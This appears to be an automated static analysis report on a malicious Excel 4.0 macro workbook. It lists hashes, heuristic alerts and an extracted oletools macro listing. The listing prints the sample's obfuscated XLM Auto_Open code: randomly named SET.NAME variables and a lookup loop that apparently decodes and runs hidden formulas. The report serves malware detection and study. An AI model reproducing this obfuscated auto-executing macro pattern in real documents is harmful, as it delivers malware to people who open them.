Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a857b33473a275fb…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:47:25 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: ade198d4cc616825700dbb46ebc0c91d SHA-1: 6fcbddb361198817bd1a7735173e4041e1a19ee7 SHA-256: a857b33473a275fb55adc7490d1a4f4d27ff7bf25609497535185500ba431a8f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6558 bytes
SHA-256: dbc5640df42807416797bba886428801c01cc397405144ca85ce247ca1d4eac6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  YeL
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H190 
' 0018     20 LABEL : Cell Value, String Constant - bXYVj len=0 
' 0018     23 LABEL : Cell Value, String Constant - CXXviAaS len=0 
' 0018     26 LABEL : Cell Value, String Constant - EYFJnjNjRlh len=0 
' 0018     20 LABEL : Cell Value, String Constant - fZVNu len=0 
' 0018     22 LABEL : Cell Value, String Constant - ggoXuRV len=0 
' 0018     23 LABEL : Cell Value, String Constant - HhvyZmam len=0 
' 0018     25 LABEL : Cell Value, String Constant - ijQiscdbgn len=0 
' 0018     23 LABEL : Cell Value, String Constant - jIeSmQlX len=0 
' 0018     27 LABEL : Cell Value, String Constant - KyovrjNJCdGq len=0 
' 0018     21 LABEL : Cell Value, String Constant - LpqazJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - pQVYvGbHYMm len=0 
' 0018     26 LABEL : Cell Value, String Constant - RbFShJgZJsy len=0 
' 0018     24 LABEL : Cell Value, String Constant - RzAbymsgV len=0 
' 0018     21 LABEL : Cell Value, String Constant - SwhRPT len=0 
' 0018     21 LABEL : Cell Value, String Constant - sZUWAL len=0 
' 0018     26 LABEL : Cell Value, String Constant - VpltGaIIqUU len=0 
' 0018     22 LABEL : Cell Value, String Constant - vrPOJDW len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZfODxbFPPs len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZFVZLUkfcl len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZzVpeRtcLQ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  YeL,S70,"",920.00000000000000000000
'  YeL,S71,"",-943.00000000000000000000
'  YeL,S72,"",-186.00000000000000000000
'  YeL,S73,"",389.00000000000000000000
'  YeL,S74,"",117.00000000000000000000
'  YeL,S75,"",797.00000000000000000000
'  YeL,H100,"SET.NAME("ggoXuRV",0+VALUE("0"))",""
'  YeL,H105,"SET.NAME("ijQiscdbgn",ggoXuRV)",""
'  YeL,H107,"SET.NAME("SwhRPT",ggoXuRV)",""
'  YeL,H109,"SET.NAME("ZfODxbFPPs",COUNTA(KyovrjNJCdGq))",""
'  YeL,H111,"SET.NAME("pQVYvGbHYMm",COUNTA(fZVNu))",""
'  YeL,H115,[],""
'  YeL,H119,"SET.NAME("sZUWAL","")",""
'  YeL,H121,"ijQiscdbgn",""
'  YeL,H126,"SET.NAME("RzAbymsgV",HLOOKUP("*",KyovrjNJCdGq,ijQiscdbgn,FALSE))",""
'  YeL,H131,"VpltGaIIqUU",""
'  YeL,H136,"SET.NAME("ZzVpeRtcLQ",ggoXuRV)",""
'  YeL,H139,[],""
'  YeL,H142,"ZzVpeRtcLQ",""
'  YeL,H145,"bXYVj",""
'  YeL,H149,"EYFJnjNjRlh",""
'  YeL,H153,"CXXviAaS",""
'  YeL,H157,"SET.NAME("HhvyZmam",VALUE(HLOOKUP("*",fZVNu,CXXviAaS,FALSE)))",""
'  YeL,H160,"ZFVZLUkfcl",""
'  YeL,H163,"sZUWAL",""
'  YeL,H165,"SwhRPT",""
'  YeL,H167,NEXT(),""
'  YeL,H170,"LpqazJ",""
'  YeL,H173,[],""
'  YeL,H178,"jIeSmQlX",""
'  YeL,H182,NEXT(),""
'  YeL,H187,RETURN(),""
'  YeL,H211,"SET.NAME("RbFShJgZJsy",H100)",""
'  YeL,H216,"KyovrjNJCdGq",""
'  YeL,H220,"SET.NAME("fZVNu",R75C15)",""
'  YeL,H224,"SET.NAME("jIeSmQlX",232)",""
'  YeL,H229,"SET.NAME("vrPOJDW",8)",""
'  YeL,H231,RbFShJgZJsy(),""
'  YeL,H232,HALT(),""

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